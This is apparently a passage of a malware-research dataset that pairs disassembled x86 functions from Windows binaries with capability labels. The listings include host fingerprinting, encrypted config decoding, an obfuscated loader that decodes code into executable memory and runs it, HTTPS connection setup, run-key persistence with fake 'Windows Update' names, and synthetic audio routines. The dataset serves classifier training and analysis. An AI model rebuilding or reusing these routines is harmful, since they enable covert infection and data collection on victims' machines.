joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009188
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0x192
push 0x54d38000
push dword [ebp - 4]
push dword [ebp - 8]
call sub.ntdll.dll__aulldiv
push eax
mov dword [ebp - 8], eax
mov eax, dword [0x1000d27c]
lea ecx, [eax + 0x1000e862]
push ecx
lea eax, [eax + 0x1000e59c]
push eax
lea eax, [ebp - 0x34]
push 0x16
push eax
mov dword [ebp - 4], edx
call sub.ntdll.dll__snwprintf
add esp, 0x14
lea eax, [ebp - 0x34]
push eax
push 0x1000
push 0
push 4
push 0x1000d2a8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
test esi, esi
je 0x1000923d
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0xb7
je 0x1000920b
push 2
pop edi
jmp 0x10009234
push 0
push 0
push 0
push 6
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
je 0x1000922c
mov ecx, dword [ebp + 8]
mov dword [ecx], esi
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
xor edi, edi
jmp 0x10009245
call edi
mov edi, eax
test edi, edi
je 0x10009245
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10009245
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, edi
pop edi
pop esi
leave
ret 8

Function at 0x10009346
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov esi, eax
test esi, esi
jne 0x10009381
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebp
ret 0x18
Function at 0x10009525
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100095f1
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100095f1
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax + 2]
mov dword [ebp - 8], eax
push edi
shl eax, 2
push eax
call fcn.10003727
mov edi, eax
cmp edi, ebx
je 0x100095f0
mov eax, dword [ebp - 8]
push esi
lea esi, [edi + eax*2]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x100095e9
mov eax, dword [ebp - 4]
mov word [esi + eax*2 - 2], 0x40
mov eax, dword [ebp - 4]
sub dword [ebp - 8], eax
lea ecx, [ebp - 8]
push ecx
lea eax, [esi + eax*2]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x100095e9
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
push ebx
push ebx
lea ecx, [eax + eax + 2]
push ecx
push edi
push eax
push esi
push ebx
push 0xfde9
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x100095e9
mov byte [edi + eax], bl
mov dword [ebp - 0xc], edi
jmp 0x100095ef
push edi
call fcn.10006ef8
pop esi
pop edi
mov eax, dword [ebp - 0xc]
pop ebx
leave
ret
Function at 0x10009ad6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [0x1000d278]
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [0x1000d264]
mov eax, dword [edi + 0x3c]
add eax, edi
movzx edx, word [eax + 6]
movzx esi, word [eax + 0x14]
imul edx, edx, 0x28
xor ecx, 0xd189
movzx ecx, cx
add edx, eax
mov dword [ebp - 0xc], ecx
lea esi, [esi + edx + 0x40]
jmp 0x10009b1b
cmp ax, cx
je 0x10009b25
add esi, 0x14
movzx eax, word [esi]
test ax, ax
jne 0x10009b13
jmp 0x10009b8c
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x10009b31
cmp dword [esi + 8], eax
jne 0x10009b84
test byte [esi + 3], 2
jne 0x10009b84
mov eax, dword [esi + 0x10]
inc eax
push eax
call fcn.10003727
mov ebx, eax
test ebx, ebx
je 0x10009b81
test byte [esi + 3], 1
je 0x10009b93
mov eax, dword [esi + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xc]
push ebx
add eax, edi
call fcn.10004ec9
cmp eax, dword [ebp - 8]
jne 0x10009b6a
mov dword [ebp - 4], 1
cmp dword [ebp - 8], 4
jb 0x10009b75
mov eax, dword [esi + 4]
xor dword [ebx], eax
cmp dword [ebp - 4], 0
jne 0x10009bdc
push ebx
call fcn.10006ef8
mov ecx, dword [ebp - 0xc]
movzx eax, byte [esi + 2]
lea esi, [esi + eax*4 + 0x14]
cmp word [esi], cx
je 0x10009b25
jmp 0x10009bf0
mov eax, dword [esi + 4]
mov ecx, dword [esi + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0xc]
add eax, edi
shr ecx, 2
mov dword [ebp + 0x10], ebx
je 0x10009bc0
mov edx, dword [eax]
sub edx, dword [ebp - 4]
mov edi, dword [ebp + 0x10]
add dword [ebp - 4], edx
add dword [ebp + 0x10], 4
add eax, 4
dec ecx
mov dword [edi], edx
jne 0x10009ba9
mov ecx, dword [esi + 0x10]
and ecx, 3
je 0x10009bd5
push ecx
push eax
push dword [ebp + 0x10]
call sub.ntdll.dll_memcpy
add esp, 0xc
mov dword [ebp - 4], 1
mov eax, dword [esi + 0x10]
mov ecx, dword [ebp + 0xc]
mov byte [ebx + eax], 0
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov eax, dword [esi + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10009e28
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
je 0x10009e8c
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32First
jmp 0x10009e7c
mov eax, dword [0x1000d27c]
lea eax, [eax + 0x1000ee54]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10009e82
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10009e52
jmp 0x10009e85
xor edi, edi
inc edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x1000a499
Capabilities:
Check os version

Disassembly:
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
mov dword [0x1000d26c], eax
je 0x1000a503
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x1000a4c0
test ah, ah
ja 0x1000a4c2
cmp al, al
jbe 0x1000a4fe
mov dword [0x1000d25c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [esp + 4]
push eax
push 0
push 0x10047a
mov dword [0x1000d258], eax
mov dword [0x1000d264], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [0x1000d254], eax
jne 0x1000a4fa
or dword [0x1000d254], 0xffffffff
xor eax, eax
jmp 0x1000a509
push 0x32
pop eax
jmp 0x1000a509
call dword [sym.imp.KERNEL32.dll_GetLastError]
ret 4

Function at 0x1000a953
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
push dword [esi + 4]
mov dword [ebp - 0xc], 0xea60
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
mov dword [ebp - 8], eax
inc eax
push eax
call fcn.10003727
mov ebx, eax
xor edi, edi
cmp ebx, edi
je 0x1000a9a5
push edi
lea eax, [ebp - 8]
push eax
push ebx
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetCanonicalizeUrlA]
test eax, eax
je 0x1000a99f
push dword [esi + 4]
call fcn.10006ef8
mov dword [esi + 4], ebx
jmp 0x1000a9a5
push ebx
call fcn.10006ef8
push 0x10000000
push edi
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, edi
mov dword [esi + 0x10], eax
je 0x1000aaa7
push 0x1000a8e8
push eax
call dword [sym.imp.WININET.dll_InternetSetStatusCallback]
cmp eax, 0xffffffff
je 0x1000aaa7
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push esi
push edi
push 3
push edi
push edi
push 0x1bb
push dword [esi]
push dword [esi + 0x10]
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, edi
mov dword [esi + 0x14], eax
jne 0x1000aa22
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1000aaa7
mov eax, dword [esi + 0x1c]
push 0xea60
call fcn.10006cc8
test eax, eax
jne 0x1000aaa7
mov ecx, dword [0x1000d27c]
push esi
mov eax, 0x84c03180
push eax
push edi
push edi
push edi
push dword [esi + 4]
lea ecx, [ecx + 0x1000e743]
push ecx
push dword [esi + 0x14]
mov dword [ebp - 4], eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp eax, edi
mov dword [esi + 0x18], eax
je 0x1000aaa7
push 4
pop ebx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push 0x1f
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
test eax, eax
mov edi, dword [sym.imp.WININET.dll_InternetSetOptionA]
je 0x1000aa83
or dword [ebp - 4], 0x100
push ebx
lea eax, [ebp - 4]
push eax
push 0x1f
push dword [esi + 0x18]
call edi
push ebx
lea eax, [ebp - 0xc]
push eax
push 6
push dword [esi + 0x18]
call edi
test eax, eax
je 0x1000aaa7
push ebx
lea eax, [ebp - 0xc]
push eax
push 5
push dword [esi + 0x18]
call edi
test eax, eax
je 0x1000aaa7
xor eax, eax
jmp 0x1000aaad
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
leave
ret 4
Function at 0x1002e880
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1002e88f
pop dword [ebp - 0x10]
mov eax, 0x777225e4
add eax, 0x9890c2ab
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x33aca2a5
sub dword [ebp - 0x20], 0xe55a5d5a
mov dword [ebp - 0x1c], 0xe4af19d5
add dword [ebp - 0x1c], 0x4d843270
mov dword [ebp - 0x18], 0x3bea0633
sub dword [ebp - 0x18], 0xef9dc205
mov dword [ebp - 0x14], 0xad13b3c8
sub dword [ebp - 0x14], 0xad13b3c8
lea eax, [ebp - 0x20]
push eax
mov eax, 0x369750ba
sub eax, 0x26936086
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xd81a7eef
sub dword [ebp - 0x20], 0x63a81599
mov dword [ebp - 0x1c], 0x732eb36c
sub dword [ebp - 0x1c], 0x31c251f7
mov dword [ebp - 0x18], 0x32c9faed
add dword [ebp - 0x18], 0x30a5717f
mov dword [ebp - 0x14], 0xd3b4fd10
sub dword [ebp - 0x14], 0xd3b4fd10
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xa4301859
sub eax, 0x942c280d
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x490ca
push 0
call eax
mov ecx, 0x5122
xor edi, edi
add edi, eax
mov ebx, 0x10054e00
add ebx, dword [ebp - 0x10]
mov edx, 0x255f378a
add edx, 0x81b07d1
sub dword [ebp - 4], 0x6fca7a87
mov esi, dword [ebx]
xor dword [ebp - 8], 0x95f0ce40
add esi, edx
xor dword [ebp - 8], 0x60f42485
mov dword [edi], esi
add dword [ebp - 0xc], esi
add edi, 4
add ebx, 0x5423c346
add ebx, 0xabdc3cbe
loop 0x1002e9a7
add eax, 0x714b75c4
sub eax, 0x714a3e69
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7723fd0f
sub ecx, 0x6723fd0f
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x100366e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e348
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004e2d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1004e28c]
cmp eax, 0xffffffff
jne 0x10036716
xor ebx, ebx
jmp 0x1003671f
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x1003675f
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003679e
test esi, esi
jne 0x100367a2
push 0x10035270
push 0x1004fad8
call fcn.1002e880
mov eax, dword [0x1004e28c]
add esp, 8
cmp eax, 0xffffffff
je 0x1003675f
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003678c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003678c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x100367e4
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x100367cd
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x100367a2
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10036730
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x10036809
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x10036809
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.1002e880
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x100367f0
jmp 0x10036730
Function at 0x401000
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0x402108
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x208]
push ecx
push str._sx8998998x.jpg
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401053
xor al, al
jmp 0x40108d
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40108b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4010a0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call section..text
movzx eax, al
test eax, eax
je 0x4011d2
mov dword [ebp - 4], 0
mov dword [ebp - 0x38], str.Microsoft_Windows_Update_Service
mov dword [ebp - 0x34], str.Host_Process_for_Windows_Services
mov dword [ebp - 0x30], str.Microsoft_Windows_Manager
mov dword [ebp - 0x2c], str.Desktop_Window_Manager
mov dword [ebp - 0x28], str.WinCfgMgr
mov dword [ebp - 0x24], str.Windows_Update_Service_Manager
mov dword [ebp - 0x20], str.Microsoft_Windows_Update_Services
mov dword [ebp - 0x1c], str.Microsoft_Update_495036
mov dword [ebp - 0x18], str.Microsoft_Windows_Service_Installer
mov dword [ebp - 0x14], str.Microsoft_Windows_Driver_Configuration
mov dword [ebp - 0x10], str.Microsoft_Windows_Installer_Svc
mov dword [ebp - 0xc], str.Windows_Security_Manager
mov dword [ebp - 8], str.Microsoft_Windows_Service
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push 0x4024f4
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401175
mov dword [ebp - 0x3c], 0
jmp 0x401151
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 0x34
jae 0x40116b
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + eax*4 - 0x38]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x401148
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4011d2
mov dword [ebp - 0x40], 0
jmp 0x4011ae
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x40], 0x34
jae 0x4011c8
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp + eax*4 - 0x38]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x4011a5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402750
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9cc
call fcn.004048a0
mov eax, dword [0x40f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x3a9a4], ecx
nop word [eax + eax]
mov eax, ecx
mov bl, cl
shr eax, 7
add bl, bl
mov dword [ebp - 0x3a9a8], eax
mov eax, ecx
xor eax, 0x80000
mov ecx, 4
shr eax, 0x13
and eax, 7
sub ecx, eax
mov eax, dword [ebp - 0x3a9a4]
mov edx, eax
shr eax, 0xc
shr edx, cl
mov cl, byte [ebp - 0x3a9a8]
add cl, bl
and cl, al
xor cl, bl
or dl, cl
mov ecx, dword [ebp - 0x3a9a4]
or dl, byte [ebp - 0x3a9a8]
mov byte [ebp + ecx - 0x3a988], dl
inc ecx
mov dword [ebp - 0x3a9a4], ecx
cmp ecx, 0x3a980
jb 0x4027e0
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9c4], 0x3a980
mov dword [ebp - 0x3a9c8], eax
lea eax, [ebp - 0x3a9c8]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9c0], 0
mov dword [ebp - 0x3a9bc], 0
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c8]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c8]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00403bec
mov esp, ebp
pop ebp
ret
Function at 0x4028f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c8
call fcn.004048a0
mov eax, dword [0x40f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov esi, 3
xor ebx, ebx
mov dword [ebp - 0x3a9a4], ebx
mov eax, ebx
xor edx, edx
shr eax, 0x10
div esi
mov eax, dword [ebp - 0x3a9a4]
movsx eax, al
lea ecx, [edx + 0xb]
shr ebx, cl
and bl, 0xf
movsx edx, bl
mov ebx, dword [ebp - 0x3a9a4]
imul edx, eax
mov eax, ebx
shr eax, 4
xor dl, al
mov al, bl
add al, al
lea ecx, [eax + ebx]
xor dl, cl
xor dl, bl
mov byte [ebp + ebx - 0x3a988], dl
inc ebx
mov dword [ebp - 0x3a9a4], ebx
cmp ebx, 0x3a980
jb 0x402980
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9c0], 0x3a980
mov dword [ebp - 0x3a9c4], eax
lea eax, [ebp - 0x3a9c4]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9bc], 0
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c4]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c4]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00403bec
mov esp, ebp
pop ebp
ret
Function at 0x4030e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c0
call fcn.004048a0
mov eax, dword [0x40f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov esi, 6
xor ebx, ebx
nop word [eax + eax]
xor edx, edx
mov eax, ebx
shr eax, 0x10
div esi
mov eax, ebx
shr eax, 0xb
inc dl
movsx eax, al
movsx ecx, dl
imul ecx, eax
mov eax, ebx
shr eax, 0xa
movsx eax, al
movsx ecx, cl
imul ecx, eax
movsx eax, bl
and cl, 7
inc cl
movsx edx, cl
mov ecx, ebx
imul edx, eax
mov eax, ebx
shr ecx, 0xc
and ecx, 3
shr eax, cl
add dl, al
mov eax, ebx
shr eax, 0xd
xor dl, al
mov eax, ebx
shr eax, 6
xor dl, al
mov byte [ebp + ebx - 0x3a988], dl
inc ebx
cmp ebx, 0x3a980
jb 0x403170
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9bc], 0x3a980
mov dword [ebp - 0x3a9c0], eax
lea eax, [ebp - 0x3a9c0]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
mov dword [ebp - 0x3a9a4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00403bec
mov esp, ebp
pop ebp
ret
Function at 0x403280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c0
call fcn.004048a0
mov eax, dword [0x40f004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor edi, edi
mov eax, 0xaaaaaaab
mov esi, edi
mul edi
mov eax, edi
shr esi, 0xe
shr edx, 1
mov ecx, edi
shr eax, 6
shr edx, 1
not eax
xor edx, edi
shr ecx, 0xa
and eax, 8
shr edx, 0xb
imul eax, edx
and esi, ecx
and esi, 3
xor edx, edx
add esi, 7
mov ecx, edi
shr ecx, 4
imul eax, edi
imul eax, edi
div esi
or al, cl
mov byte [ebp + edi - 0x3a988], al
inc edi
cmp edi, 0x3a980
jb 0x403305
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9bc], 0x3a980
mov dword [ebp - 0x3a9c0], eax
lea eax, [ebp - 0x3a9c0]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
mov dword [ebp - 0x3a9a4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00403bec
mov esp, ebp
pop ebp
ret